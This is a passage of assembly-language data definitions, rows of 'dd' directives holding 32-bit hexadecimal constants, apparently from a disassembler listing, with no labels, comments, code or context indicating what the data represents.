		dd 0F5FE56D4h, 7FB023F5h, 7F774E27h, 70ECAA24h,	7B67838Dh
		dd 7129FAA3h, 0A33A1D1Fh, 61047C40h, 7D4BCE5Dh,	564101BEh
		dd 31E94449h, 0D7852C45h, 0B4F44F16h, 0BE62ADD8h, 538B3B94h
		dd 229FEA2Ch, 0E314E4D2h, 726AF716h, 130D8168h,	0B3530F00h
		dd 0C8667A1Ch, 913B684Ah, 88CB2A8Bh, 9895CF69h,	0D947A00h
		dd 654A2DD9h, 80F82041h, 776AAFB6h, 3F8082F5h, 0E1D56643h
		dd 0CF481AA2h, 81018D4Ch, 0AD7BB6C7h, 463EE354h, 3B7B1205h
		dd 9C239C66h, 5924AFE4h, 0DC56023Bh, 0BDF7386Fh, 0DFBE0789h
		dd 26E78E13h, 0E1DF7504h, 59BEAFCh, 5380CB22h, 0B901B383h
		dd 0C6A37B27h, 0EBAB1202h, 8A32D183h, 616C5886h, 3E66D445h
		dd 34156F23h, 0FB68CE1Ch, 0F9118560h, 4C20D85Eh, 80F5A74Ch
		dd 3E42E6F7h, 608DE5F6h, 0D47AAD30h, 0DD13BBFh,	46DF64B6h
		dd 0E92882D3h, 0FF471866h, 8A68FA5Fh, 4FB5AB48h, 58B5DF75h
		dd 2EEC846Bh, 0E7C06247h, 3A949CBBh, 98CC1FD7h,	908B5A0Bh
		dd 0DD42AB9Dh, 0A228304Dh, 697BBC8h, 1037DE58h,	0B6CB8678h
		dd 0C0104ADCh, 0D3467834h, 3418D1EFh, 0C238F676h, 5C305C8Eh
		dd 2E194873h, 1435C076h, 4AEB6DD6h, 3980ACC2h, 0E360AC65h
		dd 0C6D4A470h, 99631802h, 31CB1B24h, 0BEDA104Eh, 243A407Ch
		dd 0A935C52Dh, 7FCBF000h, 0FDE17484h, 0E664CED1h, 12423201h
		dd 5DF051ABh, 3D545DF2h, 0B63886AEh, 8467CDBBh,	0D968B4DEh
		dd 0A519D02Bh, 8BE2F02Ch, 0BE90063Eh, 0C9C05ACEh, 7078F748h
		dd 457FDE1Ch, 0E7513FBBh, 1D4A05C1h, 37D419ABh,	0B69ED540h
		dd 0ABBF0663h, 233C34FEh, 13F84C6Eh, 41925030h,	0BC30840Eh
		dd 7E2E3E4Bh, 99BEF98Fh
		dd 3A0D789Dh, 9BC3800Eh, 33D7EBEAh, 0E85D7759h,	86E947A2h
		dd 2CD8B703h, 3EAE7374h, 0A70A96Fh, 0A48B9262h,	481907DEh
		dd 3422DEDAh, 49DEB8FEh, 0F6CBEE40h, 0A7749BA1h, 2D4E606h
		dd 80FF1294h, 0FBDC5449h, 0E7EE3FD5h, 0AAFD54CFh, 273C371Ch
		dd 8A75A440h, 0AD99500Bh, 0F0F01D21h, 0BAF49D34h, 6BBA156Eh
		dd 44C7F052h, 909AAE09h, 7603E65Fh, 82C716C1h, 0FFCCC78Dh
		dd 8842F8F5h, 5E6DEA47h, 74CEB70Eh, 40E1A774h, 27EB93F3h
		dd 19CB57D8h, 55688AA2h, 0B8D4BB80h, 1C65783Eh,	0AFA9D77Fh
		dd 0B3B5BBD4h, 928FDAh,	717D24B3h, 64F26826h, 2E04B1ADh
		dd 0F452F315h, 0CE6611BFh, 9A656879h, 0DB9A39F4h, 0D6EE6EF8h
		dd 20A40ED5h, 99F1243h,	0E73B903Ch, 0A96A1A37h,	5F523E85h
		dd 0A3E26363h, 18D27183h, 0D2A38351h, 2CD6FEC0h, 9235FC3h
		dd 88CE6FD3h, 0C5D6634Ah, 2A27B736h, 0E5CEF5E7h, 90D9CA32h
		dd 28FEC7D4h, 0DD49AFF3h, 2D89C6A1h, 8EDA2F48h,	96DB01D3h
		dd 3170CD31h, 50B5B654h, 0D083F768h, 2D4D9F9Dh,	45BDC399h
		dd 0B4C21696h, 0D867E57Ch, 6107FCF0h, 199551CAh, 0D70179CDh
		dd 75E04725h, 3EA05FB0h, 4EECE8EEh, 0C4B9D153h,	0CA2C049h
		dd 3850A6D1h, 0D212606Bh, 0EFF739Dh, 0EB088F75h, 7F4AB314h
		dd 0B0DCA139h, 17283A1Eh, 0BE27D514h, 0C3E1202Dh, 0F496766Fh
		dd 916843AEh, 0AA765A35h, 803C79B4h, 3188FB76h,	90B97014h
		dd 30BEF6E2h, 0FE6D4493h, 0CBD400ACh, 0C77DA9E1h, 0BB9BAEFEh
		dd 12A59BCFh, 0C6F51605h, 0A0C78129h, 0ABF3C674h, 1A7D719Eh
		dd 97429A94h, 0E859EC19h, 7B812DB1h, 70D68865h,	0A4F62FB9h
		dd 0D70924DAh, 0E2D6E5BDh, 0A63EDCCEh, 155E8764h, 0A216247Eh
		dd 942D48C6h, 232E3D29h, 3A41B17Dh, 0B1A711B4h,	0E0D3941Eh
		dd 0ED732B08h, 0F4987C7Ch, 0B5D48FCh, 0F216197Eh, 50587E54h
		dd 231CD1C8h, 1EECC91Dh, 58E349EFh, 654972A7h, 289E05EDh
		dd 84F90162h, 561A6B32h, 0BD2B2A52h, 0B024D5A3h, 0E9A2B929h
		dd 24373553h, 3E96DDEEh, 145C6DF3h, 6429617Ah, 17CECA3Bh
		dd 5B343C36h, 0BFEE99AAh, 22BAE5F7h, 0A696D9h, 0CA31B3EAh
		dd 6BCCD220h, 0D88FD75Fh, 542AF113h, 0D3609521h, 0ABE0AA02h
		dd 45DB5CCBh, 87090163h, 0AD5F554Fh, 86DC716Fh,	0FE41CE3Bh
		dd 6DC04B8Fh, 258F0697h, 2271D4A4h, 32CC1F77h, 8CB0C350h
		dd 7103ABC9h, 86531672h, 9C85FDBEh, 0CF0F61E6h,	9C2F38B2h
		dd 199AA781h, 1CF5FB1Ah, 70F333C2h, 6DE949BAh, 21DFA26h
		dd 74ECBA56h, 0D91E909Ch, 5624AFBEh, 0AD551CEFh, 0DE823D3h
		dd 72ADD49Dh, 0B79A5B31h, 0F93823D3h, 28131A20h, 5C9E781h
		dd 65B03BD2h, 54845735h, 17A2F57Dh, 0CA4B2DB3h,	0BE094188h
		dd 0B068EDBCh, 3FC3814Bh, 7553BC71h, 3D38E02Dh,	0DB42EF3Ch
		dd 8A2097C2h, 8182D864h, 75284239h, 0CEBA6651h,	0C45E0005h
		dd 7F6649A2h, 147A1B4Dh, 0B6575683h, 0B93F17EBh, 48EF8F2Bh
		dd 47EC1516h, 7416FF3Fh, 0DCC78CA0h, 68369EFBh,	491C5694h
		dd 9D805615h, 906559F9h, 5AA9DD94h, 2ACBDE2Fh, 63A35723h
		dd 3A6F5C07h, 0BC15987h, 0B036EC46h, 10149865h,	5427BF41h
		dd 0B02ADE7Fh, 5BDF1560h, 0B8919D55h, 0AB4727EEh, 0A8F49A0Ah
		dd 330A9EDEh, 18CC04BEh, 65715AA3h, 0A77DABDh, 75D77B81h
		dd 0E5E7677Dh, 806C7EC6h, 0B6C5293Fh, 8FB4B6D8h, 2DF84564h
		dd 53B2974Bh, 364F6794h, 1A916990h, 0A9DC7691h,	448A8F16h
		dd 0A72E1CA0h, 9B1DAFC6h, 0BFD31651h, 0D8AD6AF5h, 31A2E47Fh
		dd 896BFEA5h, 0F7013253h, 0E0487E30h, 0D11FDD1Fh, 0DB9DD4Eh
		dd 373E0DF2h, 0B5A45A38h, 0EE9D520Bh, 0B6EC1287h, 3D21291Fh
		dd 26063EB8h, 166C73C3h, 134E265Ch, 7097C82Dh, 49502B6Ch
		dd 99DA92Eh, 3C86B414h,	0E4502538h, 0E9A20D23h,	5AC456Ah
		dd 9394A0B6h, 11B977FFh, 0EE2966C3h, 541A5993h,	6194C9C3h
		dd 65A48982h, 0F3049273h, 7D32334Ch, 74D9ADEDh,	0E2909DF8h
		dd 15C97005h, 33263463h, 6A2DB1A6h, 3F2787C1h, 6879AF6Dh
		dd 64E27B50h, 0D76F0877h, 4F3579B5h, 0DD3A58EDh, 218C9064h
		dd 545DFFB7h, 426D2A0Eh, 0CF3DBD8Bh, 0EC0BD109h, 34C314D8h
		dd 0DE67C5DBh, 0E8C2FB0Fh, 37E9A2E4h, 0F22A95E1h, 6497000Bh
		dd 0A3100A82h, 0DCF9C49h, 460B37E9h, 0FB37D429h, 281B5F9Ch
		dd 321F2F48h, 0BDD5DB08h, 4B2C6FB5h, 80C8EF04h,	0AB6CE405h
		dd 0F16A4072h, 0A940C9C9h, 4FFA2734h, 0B1A56D23h, 0FF70DFB6h
		dd 0CC0F1B21h, 92F331D4h, 7FE6DF2Dh, 0BDF79B5Eh, 0C404BA04h
		dd 853DC29Eh, 952E1425h, 0DE9A661Dh, 0D2D5203Ch, 47614049h
		dd 0DDEDB3E9h, 1724BEF5h, 0F08E9316h, 7019250Ah, 0B4C9CA51h
		dd 163BB1DEh, 0D6437FB2h, 40AA3E8Fh, 0D8B3031h,	0B463D4CEh
		dd 7DC3FBD5h, 3F1CA0EEh, 988415BFh, 0C25526E0h,	23143133h
		dd 104BE8DFh, 0C4B00305h, 1094CEE3h, 0E05192B8h, 0ED73E849h
		dd 3CB99C08h, 6B00F5BBh, 0DCEAF387h, 1ABC6CCEh,	0D0E2C35Fh
		dd 63A9169Fh, 0A67ABD7Dh, 0EC4C1A23h, 72C3DFB9h, 5500425Fh
		dd 0B7E2F8D7h, 74E906BBh, 955B85E6h, 0CE217FC8h, 0F946E40Bh
		dd 5B934594h, 4C14F538h, 1B9819EBh, 0A8D7DD02h,	6708719Eh
		dd 0A1F7067Bh, 9FD02BADh, 3B6CE974h, 0BCBA3148h, 0C54A8561h
		dd 7F2A6428h, 569F7975h, 0D3057E19h, 0EC1577E3h, 83D9583Fh
		dd 3E7E0389h, 6AEFB2Eh,	8F58F3ECh, 15BA178Dh, 0F4EA55F8h
		dd 0CD369469h, 0D2E9F2F9h, 2E909AADh, 0F94C8044h, 0B639499Dh
		dd 2973BB48h, 92CA7A6Bh, 3E5E1F6Ch, 0B9C68562h,	0AAF86FD3h
		dd 5D189799h, 0F82E27Ch, 36E17EFh, 96158548h, 9BD13E1Dh
		dd 0AB888676h, 0EC9BA511h, 0C8B0E271h, 0C502DB34h, 0F055E79h
		dd 0CCCB7FDCh, 9EF9B241h, 0A4E94B18h, 0EF63F7E8h, 0ED9007E7h
		dd 828C800Fh, 0E4FC0505h, 0C4C89CDh, 0A43066C7h, 236A1384h
		dd 0F41B5915h, 0FBB11F92h, 77A4D3F9h, 957A9BE4h, 66F612CFh
		dd 592218C2h, 0CB5111Fh, 77CBFA63h, 9E804AADh, 8245AF96h
		dd 0A0748034h, 34F7D72Dh, 7847D6B0h, 0F7F0E822h, 7DAD2CD3h
		dd 74750BCCh, 9AFA8E90h, 0EAB98250h, 426E000Eh,	8A850868h
		dd 83477AEDh, 0A441E99Fh, 0C34960ACh, 59C1D98Ah, 0AA21B634h
		dd 0A214155h, 7BDC9B62h, 3765C14Fh, 0E4CB6E5h, 6E355B46h
		dd 72B2B3D0h, 0A9018479h, 49C2F5F1h, 6F04D290h,	469FDA24h
		dd 0B1F27BF9h, 723F092Ch, 9D44CB74h, 574CC6CFh,	2E8B8DA8h
		dd 0F3AD96E6h, 0A7D7CFB6h, 6537195Bh, 1A801D5Bh, 712CEDAAh
		dd 5B5D261h, 4B02AEEFh,	0F3236A9Ch, 0E08ABF83h,	2AC9B560h
		dd 0DF18DC15h, 76F4C406h, 6488D6B2h, 0B1CDF1D5h, 8367455Dh
		dd 0E8045754h, 4264F021h, 0B3C1B77Eh, 0B90F8BEEh, 97A06C49h
		dd 0CFC68362h, 68E5FA2Eh, 6DFBBA7h, 9B097B73h, 1F8197A6h
		dd 81F5B319h, 62EFF031h, 0B060B532h, 3970FD74h,	23F908AEh
		dd 8749DBCBh, 11F23EB3h, 8FE5C12Ah, 0FA0D2737h,	0A3CE87E4h
		dd 938A8F92h, 0A7B66D3Bh, 4342EC8h, 0F5B8906Bh,	1E787357h
		dd 5F5B2B9Ah, 90EFFF50h, 0FC2A7FB6h, 158BE2F1h,	31025519h
		dd 866E2404h, 97FDB583h, 3FDD7211h, 4FA268BFh, 0FF5C9C6Ah
		dd 671E5E4Ah, 6A8635A2h, 76AE04B4h, 7697ABDh, 5844B492h
		dd 225DC069h, 0FC8449D4h, 2A6156Bh, 370C443Eh, 89AF189Ch
		dd 89FED444h, 0A660A802h, 0B139BC51h, 0F7039D8Eh, 0C69A5A9Ah
		dd 9B604AFAh, 71FB5100h
		dd 60FD7C4Bh, 4DB0E676h, 34DE21B7h, 0C625F6C2h,	3FB16B64h
		dd 4356B480h, 624A4CCBh, 1DC1A131h, 49C03E8Bh, 10A4D25Eh
		dd 0A22FE814h, 940299A3h, 0D133C275h, 0B827D277h, 0A7418719h
		dd 94C87F5Ah, 9C692B40h, 5552D340h, 2E06DE04h, 847A94B6h
		dd 111C744Ah, 94351ADBh, 6B7ABE52h, 0BE7D4B3Dh,	1D98AA70h
		dd 5071CF5Dh, 2E8F70EBh, 0FF447088h, 739A2D73h,	26CE57BFh
		dd 603AE9A5h, 9BC3226Fh, 0F6F21EB3h, 86590DEDh,	15962654h
		dd 587F7649h, 3D3830A5h, 708D321h, 831CB175h, 2C7D1C58h
		dd 7DA79651h, 0AD811CBCh, 0CE27B9B0h, 529085F3h, 0EAEA58D2h
		dd 34DCA644h, 883D9048h, 348EA848h, 0EEB3457h, 0E3F60C25h
		dd 4E446B7Fh, 2B86780Eh, 65B37419h, 37AF39Dh, 131BDDB9h
		dd 0B5E7029Eh, 9A5BABB7h, 96D5A1EAh, 8AE5FFCFh,	0C6990446h
		dd 3231B872h, 3B3BFFF9h, 753247C1h, 7DDF225Ch, 0D077286Eh
		dd 686F6EA4h, 0F4FC4246h, 84BFFF39h, 8F19566Fh,	0C0F068B1h
		dd 0CC198069h, 98749CF6h, 0D160644Ah, 0CE30E141h, 7D6D953Ah
		dd 14ED7395h, 0E325DF8Ch, 252A1996h, 118A2F46h,	141DF396h
		dd 0ACF070BFh, 1C7F95B9h, 4DFF1D47h, 0E7D00CB8h, 38835CEFh
		dd 9B843CA3h, 0D9459F96h, 49FA7428h, 0A19B9125h, 66DE69Fh
		dd 4A525B68h, 0E5CA50A1h, 4EC355A3h, 73AB7178h,	6F5792A1h
		dd 0E5A432Dh, 494694EBh, 0EAFF8A29h, 0F8063CE3h, 14CD42E7h
		dd 744C0EA6h, 91496B0Eh, 85616F4h, 0ACBE1DD2h, 0E98E4E11h
		dd 27F89464h, 0ED21C75h, 48776A40h, 21A73586h, 4C2E4C0Fh
		dd 63B3AB81h, 567EBF3Dh, 14E638FDh, 0FBFD20ABh,	0B27CA5FAh
		dd 7CC7FCF7h, 4A9F8F0Bh, 5506D36Ch, 730DAB83h, 0E387FD24h
		dd 0A3A6ECEBh, 7F170579h, 4A0A0C7Fh, 3DB88AC4h,	2DF60135h
		dd 0C6ADFE0Bh, 0A00D84FBh, 6926B4FCh, 5CA9C8C5h, 7E33B284h
		dd 0C74D1136h, 244D55FEh, 530753EBh, 0BF6A1F98h, 7275317Eh
		dd 0D3B4D6E3h, 55C90718h, 885EDDAAh, 7E71A1CDh,	44A6B0ECh
		dd 0C7A18EEEh, 79F68479h, 78D7180Dh, 6CFDB1A9h,	4EEEE786h
		dd 0FB439579h, 8B5DDCDCh, 0D166323Eh, 5EB8DE98h, 0C662F0F9h
		dd 1240D952h, 0D2220DC3h, 0AD229091h, 91A09D80h, 501AE617h
		dd 58F799CBh, 5A832057h, 21A12DDAh, 9CE25A91h, 8FB675A9h
		dd 2086B7ECh, 5B4D1CD7h, 0BF015EDDh, 4E3CFDACh,	7D2D77B5h
		dd 0D5138D1Fh, 117A1158h, 0DB0CFFDFh, 2C12C6F4h, 0AD520956h
		dd 13AA2DC4h, 0FD4F5488h, 16E229Dh, 991F2757h, 3122EF8h
		dd 36D9CC0Ch, 6EFEFh, 0B1B3B9F9h, 98926931h, 45F6A245h
		dd 0D95806AEh, 182505F1h, 4F3AE06Eh, 1BCBA9A6h,	0BA88984Bh
		dd 293F8F1Ch, 6DCC8BFDh, 11BCFAB6h, 0C438989Eh,	2E956103h
		dd 9F3EDD3h, 0A7930C0Ah, 87A9819Eh, 61079008h, 0CA2B4440h
		dd 0C8DAEE44h, 0E3070BFBh, 1ABBD689h, 440F8D84h, 4D928BC0h
		dd 607F6DE9h, 7EAE9714h, 67FAA62Ch, 0BC0DFA3Ah,	6C9BAB6Bh
		dd 47974229h, 0FC1032E0h, 939E834h, 0D4F22429h,	41FC18ACh
		dd 0B98ACAFBh, 0B8BB885Fh, 10BB130Ch, 0A86FC34Ah, 49262508h
		dd 0B507E51Fh, 0B2D8EA9Bh, 21A585F4h, 0AB77AB28h, 0A77BEEEAh
		dd 4FE51E26h, 20FB67BFh, 1878CFCFh, 1334C086h, 2DAD7C39h
		dd 0DA539C16h, 11220E3h, 0D6030D4Eh, 0C58D81C0h, 729411F5h
		dd 0F73E698Dh, 2D1DF745h, 7BD3A6C5h, 0CD721B34h, 0E0A7451Fh
		dd 6E6807AAh, 0DB1A9441h, 1A2B0A05h, 42C01888h,	0DA8086E5h
		dd 589073DDh, 147E5E1h,	69B711CAh, 0E9277947h, 0C835EE26h
		dd 746F1B91h, 0B50AE2BDh, 4BE13063h, 9BE8BFD3h,	3B20BD72h
		dd 10DFBFE4h, 933CA6A4h, 0E534D567h, 3EA931E7h,	2E713424h
		dd 0CCD57282h, 1DAA78Bh, 0FA4F03EBh, 71DD18BDh,	37637C1Bh
		dd 0A6AF330Ch, 0A3BFC6E2h, 54F96D6Eh, 10E62A01h, 3ECACEE9h
		dd 0F24EE1E5h, 0FDDFE668h, 1A58A8ABh, 0DF3D409Fh, 6265293Bh
		dd 0C51247C0h, 1B583A7Bh, 176A222Dh, 8732BED7h,	0B4C5F33Fh
		dd 0D06A8985h, 35F57364h, 0D90DA3F4h, 2B58AB10h, 0A84F5982h
		dd 0B0B76029h, 4B406F68h, 0C2966128h, 15BBACA5h, 305BC805h
		dd 369F8B4Dh, 0CD7EBCDFh, 0C31517D9h, 2216577Eh, 6CFE3E1Ah
		dd 1DEF5188h, 32FA60BEh, 0F40FA98Ch, 0D3C2E2A3h, 8530FE17h
		dd 0A3D91EF8h, 0D5109781h, 58AAC3EEh, 316A393Ch, 58A2EBD5h
		dd 0ECB9D3E0h, 9AC6F808h, 1FC0F089h, 0B449FA32h, 0A13C792h
		dd 0FFFBDEEAh, 95177E07h, 0F0C5E9A8h, 0AB1DB8BDh, 0BA9CBAECh
		dd 4DCFFEh, 3C6305D5h, 0CAEFB45Bh, 1E4B4060h, 0E21D1AADh
		dd 3880F859h, 0D272EF60h, 26B5400Ch, 0AEA4A288h, 55587A82h
		dd 1F45BC8h, 412B747Bh,	83ABE732h, 2E7EB75Ch, 0ACA26AB3h
		dd 0C914DF02h, 8E21323Ch, 2DD8E590h, 37D1061Eh,	897ADD0h
		dd 55F3E97Bh, 0AD838A76h, 0C1B924AEh, 0F5C6FF16h, 0EBB95BCEh
		dd 13C6E704h, 9430018h,	0AB290F23h, 0D0C221FDh,	0F022754Eh
		dd 4A54CECEh, 526E3689h, 0C9AC7C87h, 9517EDCDh,	9EAB0F0Eh
		dd 385002EDh, 0D33F85B6h, 53038BCAh, 6B5C069h, 0D0D55A49h
		dd 56D4844Bh, 66B4FA4Fh, 0E46DE7A4h, 2AEBCD58h,	489C1BB2h
		dd 1AC3E899h, 0ADECC006h, 0E830FC3Dh, 0D4BFE37Ch, 7E537ED6h
		dd 35217E6h, 0D62DE81Bh, 16569B1Fh, 0F99B7B5Ah,	95B17D9Ch
		dd 3BE9DD7h, 7F611EDFh,	69E666B8h, 28DD2748h, 0FBF44F87h
		dd 0A616412Bh, 0DF4623CBh, 73FEF8A9h, 4950C12h,	944AEA15h
		dd 0B5E07278h, 36581F77h, 0B0EE1A09h, 0A3AB9D13h, 0D79D6A5Eh
		dd 0AD7DDA17h, 0B4B9D67Dh, 0B17D4B7h, 4F030673h, 0ABF154D1h
		dd 5D414214h, 41522FFAh, 9A868CE5h, 8A1B4296h, 0EB959B5Ch
		dd 2A3E6EA4h, 91A3A0C0h, 501571F6h, 0B6EB8B61h,	22764689h
		dd 27133857h, 0B85E197Bh, 948D6EC2h, 4510A15Eh,	55195638h
		dd 0B3204B6Bh, 0E48346CDh, 38B27883h, 0A28A1945h, 2B0F7704h
		dd 99CFA801h, 0CC27B5Fh, 79DEED01h, 63C05330h, 0A0D8C7Ch
		dd 7529114Fh, 96DF87E5h, 0DEEE092Dh, 0AC26C680h, 7AEC5224h
		dd 4A5E26Dh, 281F421Fh,	2AED3B98h, 47802664h, 97E3FCh
		dd 0A29D36FFh, 0A86E59A6h, 3026BB83h, 6C829B2h,	93CFFC0Fh
		dd 87B79BB7h, 3DC3223Ch, 2893BDDh, 0C5EC8EB0h, 789317CCh
		dd 0C8C8FCDCh, 59EAE08h, 176438AAh, 22EC18E4h, 32A52D6Fh
		dd 30D42CD9h, 0DF914537h, 62B9119Fh, 6A1AF58Fh,	850FD7A4h
		dd 4EA09DEFh, 0FB0AE54Bh, 6E7BB3C2h, 0A9589AC2h, 45232168h
		dd 0B1AE8365h, 0F0457FECh, 0CA0B4B34h, 9D4A5819h, 33BEE62h
		dd 2F6FAC96h, 66CA0FCAh, 589FBDE2h, 0D085B054h,	17F63C06h
		dd 0AD564F70h, 2B717614h, 9ACE9DD9h, 7D8AD3B7h,	0DF2D4986h
		dd 877888FEh, 0A7F4FE1Fh, 4DFB0448h, 85CEAD2Ah,	59724CF7h
		dd 48BF2D0Eh, 0F0EDF7D9h, 0F13D0440h, 2B8955ECh, 0A547B67Ah
		dd 47180078h, 0F4962129h, 0FDD0BDCCh, 0F9448551h, 4B06BB6Eh
		dd 0A0F3E4C4h, 50903C9Eh, 9F31FB97h, 0DF9C6987h, 0C6C5ED07h
		dd 0C97C9EC5h, 72BB244h, 0C8D8878Fh, 2B431FE6h,	7B1211A8h
		dd 9E7B4631h, 0E62AF671h, 0BA5087AEh, 7B667136h, 55F90D1Eh
		dd 4BF63D71h, 5FFD06EDh, 2D04C014h, 0F84529E2h,	73020014h
		dd 33E3489Fh, 34AD2584h, 3F448018h, 1B4FBBABh, 4F43FE86h
		dd 1BD6A26Fh, 31E0F070h, 0B486E424h, 2E634645h,	7D8DBF66h
		dd 5908A01Dh, 0C58C3E7Fh, 0DADD58A9h, 0BD4598C0h, 667AB6F5h
		dd 6FC8A751h, 0F73179F4h
		dd 2628904Fh, 0C71E79C7h, 7EABAE4h, 0F067E758h,	0B91D3EEEh
		dd 21E95EFCh, 0FD2E39DDh, 2D026561h, 5C480B52h,	5D615727h
		dd 2C25769h, 0C342128Eh, 0DEAC79BFh, 0CEF31434h, 0A0981519h
		dd 8BD79644h, 0B0F14DBBh, 0DE5D4C79h, 420745B0h, 0C9D70407h
		dd 1D8597AAh, 0A1914Fh,	8F958D16h, 9C71FF1h, 0EAAF0F96h
		dd 47BA2E05h, 2D799749h, 0CFB9D8E7h, 2DA532D2h,	0AAEE9859h
		dd 0AD5A2BD3h, 5684E3C2h, 572C69D0h, 0D1A5A45Ch, 393CB0DFh
		dd 0B22929BCh, 95CC646Dh, 0AA4EA231h, 0E46B1904h, 59902A03h
		dd 0A5811D72h, 0CE018EBAh, 0B553F44Eh, 0EAD4FCB1h, 0E9BCF154h
		dd 55F89882h, 0B2A5881Dh, 88421884h, 14D9A43Eh,	1731DF1h
		dd 0BB232B59h, 596C8863h, 16BBE25Ch, 49A8F73Ch,	0D17F28CEh
		dd 0CA1299F7h, 0B53900F3h, 5EFEDADh, 9AF4F816h,	21DDEAD4h
		dd 528F2108h, 0B6EF8C95h, 7615294Bh, 0A9F1D57Eh, 0D42932C8h
		dd 65450B5h, 0DA5C1CAh,	610A732Ah, 4BCBD43Ah, 79DE6B6Bh
		dd 84974F06h, 338B066Ch, 57D809C8h, 6436A027h, 0D82BD454h
		dd 8F2C919Fh, 5C614E4Ah, 2858E266h, 7EF7A7AAh, 0E67B84D1h
		dd 0F49B0532h, 0E102D4A3h, 698647CFh, 3B3DBCFBh, 2A8A1FE1h
		dd 0D3ECA1A5h, 2130560Dh, 0CC12F7EEh, 0E52EB228h, 833E9E6Eh
		dd 1F89E700h, 0D2149A5Fh, 8A652D86h, 36FE91FEh,	4A3D745h
		dd 0BF865CFCh, 7F8B72D3h, 212F703Ah, 0DC996A71h, 9114326Fh
		dd 0CC9121B0h, 293FA3EFh, 0D821F0EDh, 0C447189Bh, 54910AE7h
		dd 2FEF14AAh, 91F60AFCh, 4B22D9F5h, 0C73BF8E5h,	0CBF1DED8h
		dd 0A4929863h, 3C00FD86h, 75FB117Dh, 2D107C01h,	5F4DDB8Ah
		dd 0A598BEA7h, 3D77A8F2h, 698A0184h, 3860C5F5h,	0BA41C3F5h
		dd 0FE4C6BBDh, 385256F2h, 0BEA062E0h, 0B3A19B44h, 6742FA6Dh
		dd 0F3720964h, 494B6CE4h, 73440ED4h, 760B7ED9h,	105C8B45h
		dd 0EB2612C0h, 0E325BFD9h, 0D04CD3DAh, 14620A9Bh, 518CF7BDh
		dd 2A35B586h, 32C831A3h, 0DBF99630h, 6993A7E7h,	9B26882Ch
		dd 40025154h, 0A6FBA146h, 53489871h, 48DA2D7Fh,	6195A8C4h
		dd 7BAD50B4h, 0EF3ECCC8h, 0E53905A0h, 0BBE5ADD3h, 7BDAD125h
		dd 5E22977Bh, 3A9B54ADh, 4DF8BB10h, 9310A62Bh, 31C8DC9Eh
		dd 0DC095B52h, 0A9BE8FF7h, 0FDF94243h, 12AC4B7h, 0C2C54493h
		dd 852F5712h, 871C97DFh, 0B8836AD4h, 0E09603ADh, 73BC4781h
		dd 2C9CF5B3h, 233902C1h, 44578A6Eh, 18E75FEh, 3877806Bh
		dd 194641A6h, 53FFED03h, 0D801F5EFh, 8B07DCF0h,	81B66D59h
		dd 2F53B84Bh, 0ACE04C9Bh, 0B430FF56h, 7443EE95h, 3F91C0C1h
		dd 4A7088C9h, 11B3E2E0h, 9CBAA7C1h, 7E64D7C6h, 7B3A57C5h
		dd 2A2BEF10h, 9A13F585h, 0EA521151h, 83A7F66Dh,	0A412567Dh
		dd 739B0E1Bh, 54B6C984h, 2A88D0E1h, 74A44CE7h, 18C2C5CCh
		dd 0B37F8C9Ch, 375CCBB2h, 0DB13863Eh, 72578FFEh, 0DD9009DAh
		dd 9388047Bh, 0CE16D8B5h, 0B336233Dh, 0C837E000h, 1DACD6DFh
		dd 2D92C49Ah, 0A728F5B1h, 0E7E28FDEh, 0CB796C21h, 12C0D8E2h
		dd 9FB1924Ah, 470EEE01h, 818FAFF8h, 68FDE32Bh, 44072A36h
		dd 3A3DF3DDh, 809D658Ah, 4C93BA15h, 34815C40h, 7009C61h
		dd 891A88D9h, 95FC2002h, 0DE204A55h, 581CD3D0h,	48CBABC5h
		dd 928CCFC2h, 88766673h, 0BDD55800h, 0F2E3932h,	0D039A1A9h
		dd 0D57D536Eh, 95729EAEh, 868C420Ah, 4285CF50h,	94C5308h
		dd 9CF3CFAh, 0B61C74C2h, 54014F55h, 51BA3F51h, 0EB0B6C79h
		dd 0B846D09Fh, 0C6CF45B5h, 8C099BFBh, 4BEF8ACh,	0BFCF2783h
		dd 538C6537h, 39151E52h, 0C9871D4Fh, 1AACC71Fh,	0C891AF0Ah
		dd 0F375FA57h, 0CAD95171h, 1ED6934Fh, 0FE948458h, 0CE1FAB58h
		dd 256EDBDCh, 80FAA6FAh, 1B53F51Ah, 0C92AA1E1h,	737D3176h
		dd 0A15FD82Eh, 82A8153Fh, 0DDE6A226h, 0AE961EB9h, 3BB74C92h
		dd 88DBEAEAh, 0BC16D123h, 26AA44C9h, 6101770Fh,	66BBDEA9h
		dd 235959E2h, 584ADF2Fh, 191A1247h, 0E3EE2FF6h,	18CFC383h
		dd 0BAA94612h, 0C8A116D5h, 0B486EF5Ch, 0E43DADE5h, 0F5DCAAF5h
		dd 0F4FEF9B4h, 0D97D16D1h, 9FF97AA6h, 8D06885Fh, 0B2A5ED36h
		dd 22CE9C5h, 308A308Dh,	0D9EA61CBh, 8FEDBB98h, 2A5C023Eh
		dd 43EE2550h, 0BD5BB219h, 8DDD6665h, 7A4C40EEh,	6BC18C91h
		dd 657F8485h, 81461EE3h, 0E8C473CEh, 82E551F2h,	0A2FFFA61h
		dd 0D17D8F8Ch, 51A9D7A9h, 132D896Dh, 27CBF4B0h,	0F6815A38h
		dd 64897C05h, 1ED0196h,	0EA141DC6h, 896BAD42h, 0A44FAD10h
		dd 4914F550h, 33914A66h, 311204B5h, 7876EFDh, 4C9BE776h
		dd 0E4CF2385h, 0E22A052h, 0D101B658h, 426B1607h, 0CA76F961h
		dd 0B1A7DA24h, 0D57EA60Fh, 0C5CDCFE3h, 99D8726Bh, 4B0BFF1Ch
		dd 17413D23h, 0C084A7E6h, 0F77F8D16h, 0CB34ADEh, 0F85C7C9Dh
		dd 1319759h, 56302891h,	5E973617h, 36255AD1h, 0B592892Fh
		dd 0A422C07Ch, 95DE8FBCh, 93D2D78h, 0B9B1EEB9h,	11893988h
		dd 8FA05A7Bh, 861E39B6h, 0F6FA2F09h, 0ED5BA60Bh, 0A33195Ch
		dd 4C650375h, 22779E8Fh, 89DE1D8Bh, 4F382685h, 84C4018Ah
		dd 0AABE0391h, 8DEF21C5h, 35D10AAFh, 80B8B371h,	38F64D2Ch
		dd 771428E3h, 0B0A55B2Bh, 9C55022Dh, 157F8FE8h,	540989B6h
		dd 0B305911Ch, 0E65BC3A8h, 0C1EC5FB0h, 0EFB21833h, 0E7BF0F6Fh
		dd 691F02h, 1B432D3Bh, 0BB8CFCB1h, 0F055997Ah, 7A744A14h
		dd 324F550h, 0FE8C6BE9h, 5AE7F6B3h, 787D174Eh, 54E674B4h
		dd 369A77D8h, 0BA55AB8Ah, 82C68A12h, 5A36A6B4h,	1794CAD5h
